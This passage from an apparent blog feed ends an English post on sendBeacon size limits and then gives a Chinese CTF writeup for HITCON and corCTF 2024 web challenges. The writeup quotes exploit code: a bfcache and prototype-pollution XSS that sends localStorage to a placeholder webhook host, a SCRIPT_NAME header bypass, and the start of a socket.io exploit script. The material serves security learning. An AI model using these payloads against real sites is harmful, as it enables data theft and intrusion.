bodySize <span class="token operator">=</span> body<span class="token operator">-></span><span class="token function">lengthInBytes</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>m_inflightKeepaliveBytes <span class="token operator">+</span> bodySize <span class="token operator">></span> maxInflightKeepaliveBytes<span class="token punctuation">)</span>        <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span>    <span class="token function">registerRequest</span><span class="token punctuation">(</span>resource<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>It actually just counts how many are still waiting, and checks if adding them would exceed the maximum value of 65536. The operation is quite similar to the last PR from Sentry.</p><h3><span id="firefoxs-sendbeacon-implementation">Firefox’s sendBeacon Implementation</span></h3><p>In the previous Sentry PR, it was mentioned that Firefox does not support keepalive, corresponding to this ticket: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1342484">[meta] Support Fetch keepalive flag and enforce limit on inflight keepalive bytes</a>, which is still open. From the discussion, it seems there has been progress since about half a year ago, and support officially started in Firefox version 133, released in November 2024. Although there are still some bugs, it should become more stable over time.</p><p>I tested a scenario with three browsers, sending out 10 strings of length 60,000:</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">  <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">let</span> i<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">;</span> i<span class="token operator">&lt;=</span><span class="token number">10</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    navigator<span class="token punctuation">.</span><span class="token function">sendBeacon</span><span class="token punctuation">(</span><span class="token string">"https://httpstat.us/200?log"</span><span class="token operator">+</span>i<span class="token punctuation">,</span> <span class="token string">'A'</span><span class="token punctuation">.</span><span class="token function">repeat</span><span class="token punctuation">(</span><span class="token number">60000</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Both Chrome and Safari only sent one request, but Firefox 133.0.3 kindly sent them all out, currently without a 64 KiB limit:</p><p><img src="/img/navigator-sendbeacon-64kib-and-source-code/p7.png" alt="Firefox Screenshot"></p><p>For those curious about the underlying implementation, the code is here: <a href="https://github.com/mozilla/gecko-dev/blob/94c62970ba2f9c40efd5a4f83a538595425820d9/dom/base/Navigator.cpp#L1163">gecko-dev&#x2F;dom&#x2F;base&#x2F;Navigator.cpp</a>. It seems that keepalive has not been integrated yet, which is why the limit has not been triggered. In the future, it should follow the spec, using keepalive requests and adhering to the payload size limits.</p><h2><span id="conclusion">Conclusion</span></h2><p>Small features can have great significance. A seemingly simple <code>sendBeacon</code> is actually quite interesting upon deeper research. Understanding its limitations and solutions, as well as learning from Sentry’s patching process, and reviewing the browser’s source code, provides a better understanding of the underlying implementation.</p><p>In practice, if you are going to use <code>sendBeacon</code>, please remember to add error handling. When the return value is false, switch to a regular fetch or add a retry mechanism to enhance the stability of data transmission.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;When you want to send some tracking-related information to the server from a webpage, there is another option that is often recommended over directly using &lt;code&gt;fetch&lt;/code&gt; to send requests: &lt;code&gt;navigator.sendBeacon&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Why is this recommended?&lt;/p&gt;
&lt;p&gt;Because if you use the usual method of sending requests, there may be issues when the user closes the page or navigates away. For example, if a request is sent just as the page is being closed, that request may not go through and could be canceled along with the page closure.&lt;/p&gt;
&lt;p&gt;Although there are ways to try to force the request to be sent, these methods often harm the user experience, such as forcing the page to close later or sending a synchronous request.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;navigator.sendBeacon&lt;/code&gt; was created to solve this problem.&lt;/p&gt;</summary>
    
    
    
    <category term="Front-end" scheme="https://blog.huli.tw/categories/Front-end/"/>
    
    
    <category term="Front-end" scheme="https://blog.huli.tw/tags/Front-end/"/>
    
  </entry>
  
  <entry>
    <title>HITCON CTF &amp; corCTF &amp; sekaiCTF 2024 筆記</title>
    <link href="https://blog.huli.tw/2024/09/23/hitconctf-corctf-sekaictf-2024-writeup/"/>
    <id>https://blog.huli.tw/2024/09/23/hitconctf-corctf-sekaictf-2024-writeup/</id>
    <published>2024-09-23T02:40:00.000Z</published>
    <updated>2024-09-23T09:16:08.011Z</updated>
    
    <content type="html"><![CDATA[<p>久違的筆記，想寫很久了但一直拖延，像是 CTF 這種東西的 writeup 其實速度滿重要的，因為賽後討論大部分都在 Discord 裡面發生，時間久了訊息比較難找，而且很有可能忘記，要趕快寫成 writeup 才能把那些實用的資訊記錄下來。</p><p>這篇一次帶來三個 CTF 的 writeup，有些我沒有打，只是純粹看著別人的筆記重新記一遍而已。</p><p>關鍵字列表：</p><ol><li>bfcache</li><li>response splitting</li><li>Service-Worker-Allowed</li><li>gunicorn script_name</li><li>socket.io disconnect</li><li>socket.io JSONP CSP bypass</li><li>performance API</li><li>streaming HTML parsing </li><li>content-type ISO-2022-JP</li></ol><span id="more"></span><h2><span id="hitcon-ctf-2024">HITCON CTF 2024</span></h2><h3><span id="private-browsing">Private Browsing+</span></h3><p>這題基本上是個 proxy，會把 <code>/~huli/</code> 底下的東西 proxy 到其他網站，而 response 會根據 header 不同而有所不同：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">if</span> <span class="token punctuation">(</span>    req<span class="token punctuation">.</span>headers<span class="token punctuation">[</span><span class="token string">'sec-fetch-mode'</span><span class="token punctuation">]</span> <span class="token operator">&amp;&amp;</span>    req<span class="token punctuation">.</span>headers<span class="token punctuation">[</span><span class="token string">'sec-fetch-mode'</span><span class="token punctuation">]</span> <span class="token operator">!==</span> <span class="token string">'navigate'</span> <span class="token operator">&amp;&amp;</span>    req<span class="token punctuation">.</span>headers<span class="token punctuation">[</span><span class="token string">'sec-fetch-site'</span><span class="token punctuation">]</span> <span class="token operator">===</span> <span class="token string">'same-origin'</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    req<span class="token punctuation">.</span>url <span class="token operator">=</span> chunks<span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">join</span><span class="token punctuation">(</span><span class="token string">'/'</span><span class="token punctuation">)</span>    proxy<span class="token punctuation">.</span><span class="token function">handler</span><span class="token punctuation">(</span>req<span class="token punctuation">,</span> res<span class="token punctuation">)</span><span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span>    res<span class="token punctuation">.</span><span class="token function">writeHead</span><span class="token punctuation">(</span><span class="token number">200</span><span class="token punctuation">,</span> <span class="token punctuation">&#123;</span> <span class="token operator">...</span><span class="token constant">DEFAULT_HEADERS</span><span class="token punctuation">,</span> <span class="token string-property property">'content-type'</span><span class="token operator">:</span> <span class="token string">'text/html'</span> <span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    res<span class="token punctuation">.</span><span class="token function">end</span><span class="token punctuation">(</span><span class="token constant">VIEWER_HTML</span><span class="token punctuation">.</span><span class="token function">replace</span><span class="token punctuation">(</span><span class="token string">'SITEB64'</span><span class="token punctuation">,</span> <span class="token function">btoa</span><span class="token punctuation">(</span>proxy<span class="token punctuation">.</span>site<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>如果是 navigate 的話，就會回傳 VIEWER_HTML，在這裡面會做各種 sanitize，所以沒辦法 XSS。</p><p>繞過方式是利用 bfcache，在 <a href="https://blog.huli.tw/2022/12/08/ctf-js-notes/#seccon-ctf-2022-quals-spanote">SECCON CTF 2022 Quals - spanote</a> 有出現過，簡單來講呢，我們先造訪 target.html，此時的 response 會是 VIEWER_HTML，而在 VIEWER_HTML 內會執行 <code>fetch(&#39;target.html&#39;)</code> 去把內容抓回來，這時候 response 就會被放在 cache 中</p><p>再來，我們把同個分頁導到自己的 origin，接著執行 <code>history.go(-1)</code>，把 URL 導回去 <code>target.html</code>，此時因為 bfcache 的關係，就會載入用 <code>fetch(&#39;target.html&#39;)</code> 所抓取的 HTML，繞過了原本的限制，可以載入任意 HTML。</p><p>但下一個問題是 CSP：<code>default-src &#39;self&#39;;</code>，因此 script 只能載入 same-origin 的，但 proxy 那邊有限制：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">if</span> <span class="token punctuation">(</span>    res<span class="token punctuation">.</span>headers<span class="token punctuation">[</span><span class="token string">'content-type'</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">toLowerCase</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">includes</span><span class="token punctuation">(</span><span class="token string">'script'</span><span class="token punctuation">)</span> <span class="token operator">||</span>    req<span class="token punctuation">.</span>headers<span class="token punctuation">[</span><span class="token string">'sec-fetch-dest'</span><span class="token punctuation">]</span> <span class="token operator">===</span> <span class="token string">'script'</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    res<span class="token punctuation">.</span>headers<span class="token punctuation">[</span><span class="token string">'content-length'</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token string">'0'</span>    <span class="token keyword">delete</span> res<span class="token punctuation">.</span>headers<span class="token punctuation">[</span><span class="token string">'transfer-encoding'</span><span class="token punctuation">]</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>如果 content type 包含 script，直接把 content-length 變成 0，因此沒辦法載入 script。</p><p>這時候就要用到 response splitting 了，因為 proxy 那邊會直接把收到的 response pipe 出去，因此可以構造出這樣的流程：</p><ol><li>在 browser 那端發出第一個請求，就叫請求 A 吧</li><li>在請求 A 的 response 中先輸出 <code>expect: &#39;100-continue&#39;</code> header，讓 proxy server 那邊把 header 輸出，此時對瀏覽器來說第一個請求已經結束，拿到了 response，</li><li>browser 發出第二個請求 B，延用同一個 connection</li><li>這時輸出請求 B 的 response（但是對 proxy 來說還是請求 A 的 response），繞過 content type 的限制，因為 proxy 認為這是 response content</li></ol><p>簡單來講就是類似 request smuggling 那樣，不過是反過來做。</p><p>這邊的細節有兩個：</p><ol><li>透過 Chrome 對同一個 domain 有 6 個 concurrent 的限制，確保其中兩個請求會用到同一個 connection</li><li>Node.js server 在收到 <code>Expect: 100-continue</code> 的時候，會先 flush，這一步是必要的，要繞過 Chrome 的限制</li></ol><p>可以載入 JS 之後，就再用一樣的方法載入 service worker，並且用 <code>Service-Worker-Allowed: /</code> header 來擴大 scope，可以註冊到整個 origin。</p><p>更多細節可以參考 maple 的 writeup: <a href="https://github.com/maple3142/My-CTF-Challenges/tree/master/HITCON%20CTF%202024/Private%20Browsing%2B">https://github.com/maple3142/My-CTF-Challenges/tree/master/HITCON%20CTF%202024/Private%20Browsing%2B</a></p><h2><span id="corctf-2024">corCTF 2024</span></h2><h3><span id="webx2fcorctf-challenge-dev-17-solves">web&#x2F;corctf-challenge-dev - 17 solves</span></h3><p>Author: drakon</p><p>一個跟 Chrome extension 有關的題目，但作者已經寫得很詳細了，就不多寫了：<a href="https://cor.team/posts/corctf-2024-corctf-challenge-dev/">corCTF 2024 - corctf-challenge-dev</a></p><h3><span id="webx2fiframe-note-2-solves">web&#x2F;iframe-note - 2 solves</span></h3><p>Author: sterllic</p><p>這題的核心程式碼是底下這段：</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>iframe</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>iframe<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>iframe</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>&#123;&#123; url_for('static', filename='axios.min.js') &#125;&#125;<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>&#123;&#123; url_for('static', filename='can.min.js') &#125;&#125;<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">  window<span class="token punctuation">.</span><span class="token function-variable function">onload</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token string">"__proto__"</span><span class="token punctuation">,</span> <span class="token string">"constructor"</span><span class="token punctuation">,</span> <span class="token string">"prototype"</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">some</span><span class="token punctuation">(</span><span class="token parameter">d</span> <span class="token operator">=></span> location<span class="token punctuation">.</span>search<span class="token punctuation">.</span><span class="token function">includes</span><span class="token punctuation">(</span>d<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token keyword">return</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">const</span> qs <span class="token operator">=</span> can<span class="token punctuation">.</span><span class="token function">deparam</span><span class="token punctuation">(</span>location<span class="token punctuation">.</span>search<span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>qs<span class="token punctuation">.</span>id<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">"no id provided"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      location<span class="token punctuation">.</span>href <span class="token operator">=</span> <span class="token string">"/"</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    axios<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">/iframe/</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token function">encodeURIComponent</span><span class="token punctuation">(</span>qs<span class="token punctuation">.</span>id<span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span>    <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token parameter">res</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>res<span class="token punctuation">.</span>data<span class="token punctuation">.</span>error<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">"no iframe found with that id!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">return</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>res<span class="token punctuation">.</span>data<span class="token punctuation">.</span>url<span class="token punctuation">.</span><span class="token function">toLowerCase</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">startsWith</span><span class="token punctuation">(</span><span class="token string">"http"</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">"invalid url"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">return</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>      document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">"#name"</span><span class="token punctuation">)</span><span class="token punctuation">.</span>textContent <span class="token operator">=</span> res<span class="token punctuation">.</span>data<span class="token punctuation">.</span>name<span class="token punctuation">;</span>      document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">"#iframe"</span><span class="token punctuation">)</span><span class="token punctuation">.</span>src <span class="token operator">=</span> res<span class="token punctuation">.</span>data<span class="token punctuation">.</span>url<span class="token punctuation">;</span>      document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">"#iframe"</span><span class="token punctuation">)</span><span class="token punctuation">.</span>style <span class="token operator">=</span> res<span class="token punctuation">.</span>data<span class="token punctuation">.</span>style<span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>後端用 Flask + gunicorn 渲染出上面這個網頁。</p><p>can.js 有個 prototype pollution 的漏洞，就算有做了檢查還是可以用 URL encode 繞過，但問題是有了 pollution 之後可以幹嘛。</p><p>前端乍看之下就是 <code>document.querySelector(&quot;#iframe&quot;).src = res.data.url</code> 這段最可疑了，但是這邊需要能控制 server 的 response，但是 server 那邊有做檢查，因此 data.url 只能是 http 開頭。</p><p>最後的解法是跟 axios、bfcache 還有 gunicorn 的行為有關，gunicorn 會根據 header 裡面的 <code>script_name</code> 來決定最後的 path，以 <a href="https://github.com/benoitc/gunicorn/issues/2650">Gunicorn’s handling of PATH_INFO and SCRIPT_NAME can lead to security issues when placed behind a proxy #2650</a> 裡面給的範例來說：</p><pre class="line-numbers language-python" data-language="python"><code class="language-python">requests<span class="token punctuation">.</span>get<span class="token punctuation">(</span>URL<span class="token operator">+</span><span class="token string">'/REMOVED/admin/something/bad'</span><span class="token punctuation">,</span>             headers<span class="token operator">=</span><span class="token punctuation">&#123;</span><span class="token string">'script_name'</span><span class="token punctuation">:</span><span class="token string">'REMOVED/'</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>如果前面有個 nginx 把所有 &#x2F;admin 開頭的請求都擋掉，這時我們可以發送一個 &#x2F;REMOVED&#x2F;admin 的請求再搭配 script_name 是 REMOVED&#x2F;，nginx 會通過，但是到 gunicorn 的時候就會把 path 解析為 &#x2F;admin，直接繞過了前面的 nginx 檢查。</p><p>而這題會用到這個行為的地方在：</p><pre class="line-numbers language-none"><code class="language-none">&lt;script src&#x3D;&quot;&#123;&#123; url_for(&#39;static&#39;, filename&#x3D;&#39;axios.min.js&#39;) &#125;&#125;&quot;&gt;&lt;&#x2F;script&gt;<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>如果你執行 <code>curl https://iframe-note.be.ax////example.com/view -H &quot;SCRIPT_NAME: //example.com</code>，那最後 path 是 &#x2F;view，但是 base URL 會變，渲染的結果是：</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>//example.com/static/axios.min.js<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>就能夠直接控制頁面上的 src。</p><p>作者可能懶得弄一個 instance 來 host payload，因此直接用了 data URI，把 script 變成 <code>&lt;script src=&quot;data:text/javascript,&#123;XSS&#125;&quot;&gt;</code></p><p>因為要達成這個結果需要在請求中傳送 header，所以需要用到 bfcache，流程是：</p><ol><li>先造訪最後需要的 URL</li><li>跳轉到 view 頁面，利用 prototype pollution 讓 fetch 送出有 header 的請求</li><li>回到上一頁，此時因為 bfcache，會沿用剛剛 fetch 的 response，就是有 header 的版本</li><li>XSS</li></ol><p>作者的 exploit：</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">    <span class="token comment">// const BASE_URL = "http://localhost:3000";</span>    <span class="token keyword">const</span> <span class="token constant">BASE_URL</span> <span class="token operator">=</span> <span class="token string">"https://iframe-note.be.ax"</span><span class="token punctuation">;</span>    <span class="token keyword">const</span> <span class="token constant">HOOK_URL</span> <span class="token operator">=</span> <span class="token string">"https://webhook.site/xxxxx"</span><span class="token punctuation">;</span>    <span class="token keyword">const</span> <span class="token function-variable function">sleep</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">ms</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">setTimeout</span><span class="token punctuation">(</span>resolve<span class="token punctuation">,</span> ms<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">const</span> <span class="token function-variable function">main</span> <span class="token operator">=</span> <span class="token keyword">async</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>      <span class="token keyword">const</span> dataUrl <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">data:text/javascript,navigator.sendBeacon('</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token constant">HOOK_URL</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">',JSON.stringify(localStorage))</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span>      <span class="token keyword">const</span> win <span class="token operator">=</span> <span class="token function">open</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token constant">BASE_URL</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>dataUrl<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/iframe/view</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token keyword">await</span> <span class="token function">sleep</span><span class="token punctuation">(</span><span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      win<span class="token punctuation">.</span>location <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token constant">BASE_URL</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/view?id=view&amp;__%70roto__[headers][SCRIPT_NAME]=</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>dataUrl<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/iframe&amp;__%70roto__[baseURL]=/</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>dataUrl<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span>      <span class="token keyword">await</span> <span class="token function">sleep</span><span class="token punctuation">(</span><span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      win<span class="token punctuation">.</span>location <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>location<span class="token punctuation">.</span>origin<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/back.html?n=2</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">;</span>    <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  </span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>body</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">  <span class="token keyword">const</span> n <span class="token operator">=</span> <span class="token function">parseInt</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">URLSearchParams</span><span class="token punctuation">(</span>location<span class="token punctuation">.</span>search<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token string">"n"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  history<span class="token punctuation">.</span><span class="token function">go</span><span class="token punctuation">(</span><span class="token operator">-</span>n<span class="token punctuation">)</span><span class="token punctuation">;</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><h3><span id="corchat-x-1-solve">corchat x - 1 solve</span></h3><p>Author: larry</p><p>跟 socket.io 有關的題目，重點看起來是三個：</p><ol><li>可以送出 disconnect 事件但是沒有 disconnect</li><li>sokcet.io 的 JSONP 可以拿來 bypass CSP</li><li>用 performance API 列出曾經載入過的資源</li></ol><p>底下附上 Discord 中 EhhThing 貼的 exploit：</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">import</span> socketio<span class="token keyword">import</span> requests<span class="token keyword">import</span> time<span class="token keyword">import</span> jsonbase_url <span class="token operator">=</span> <span class="token string">'https://corchat-x-a6e1f8c45d3ca520.be.ax'</span><span class="token keyword">def</span> <span class="token function">create_sid</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    session <span class="token operator">=</span> requests<span class="token punctuation">.</span>Session<span class="token punctuation">(</span><span class="token punctuation">)</span>    login <span class="token operator">=</span> session<span class="token punctuation">.</span>post<span class="token punctuation">(</span><span class="token string-interpolation"><span class="token string">f'</span><span class="token interpolation"><span class="token punctuation">&#123;</span>base_url<span class="token punctuation">&#125;</span></span><span class="token string">/'</span></span><span class="token punctuation">,</span> data <span class="token operator">=</span> <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span> allow_redirects<span class="token operator">=</span><span class="token boolean">False</span><span class="token punctuation">)</span>    <span class="token keyword">assert</span> login<span class="token punctuation">.</span>status_code <span class="token operator">==</span> <span class="token number">302</span><span class="token punctuation">,</span> login<span class="token punctuation">.</span>status_code    res <span class="token operator">=</span> session<span class="token punctuation">.</span>get<span class="token punctuation">(</span><span class="token string-interpolation"><span class="token string">f'</span><span class="token interpolation"><span class="token punctuation">&#123;</span>base_url<span class="token punctuation">&#125;</span></span><span class="token string">/socket.io/'</span></span><span class="token punctuation">,</span> params <span class="token operator">=</span> <span class="token punctuation">&#123;</span>        <span class="token string">'EIO'</span><span class="token punctuation">:</span> <span class="token number">4</span><span class="token punctuation">,</span>        <span class="token string">'transport'</span><span class="token punctuation">:</span> <span class="token string">'polling'</span><span class="token punctuation">,</span>        <span class="token string">'t'</span><span class="token punctuation">:</span> <span class="token string">'bingus'</span><span class="token punctuation">,</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">assert</span> res<span class="token punctuation">.</span>status_code <span class="token operator">==</span> <span class="token number">200</span><span class="token punctuation">,</span> res<span class="token punctuation">.</span>status_code    socket_session <span class="token operator">=</span> json<span class="token punctuation">.</span>loads<span class="token punctuation">(</span>res<span class="token punctuation">.</span>text<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">:</span><span class="token punctuation">]</span><span class="token punctuation">)</span>    <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">'fake session'</span><span class="token 